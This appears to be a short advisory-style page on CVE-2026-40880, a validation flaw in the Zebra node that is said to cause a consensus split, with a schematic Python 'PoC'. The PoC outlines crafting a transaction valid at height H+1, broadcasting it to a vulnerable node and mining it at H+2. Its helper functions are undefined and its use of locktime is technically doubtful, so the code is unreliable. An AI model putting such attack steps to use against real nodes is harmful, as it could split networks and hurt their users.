CVE-2026-40880 ZEBRA节点验证逻辑错误致共识分裂

# Conceptual PoC for CVE-2026-40880 # This script demonstrates the logic to create a transaction valid at H+1 but invalid at H+2 def craft_malicious_tx(current_height): """ Constructs a transaction that is valid at current_height + 1 but expires or becomes invalid at current_height + 2. """ tx = { "version": 4, "locktime": current_height + 1, # Valid at H+1, technically expired/invalid logic at H+2 depending on implementation "inputs": [], "outputs": [] } # In a real scenario, specific Zcash consensus rules (e.g., expiry height) are manipulated return tx # Step 1: Attacker observes current height H height_H = get_current_block_height() # Step 2: Create transaction valid for H+1 malicious_tx = craft_malicious_tx(height_H) # Step 3: Broadcast transaction to vulnerable Zebra node broadcast_transaction(malicious_tx) # Step 4: Mine block at H+2 including this transaction # The vulnerable node accepts it due to cache bypass logic mine_block_at_height(height_H + 2, [malicious_tx])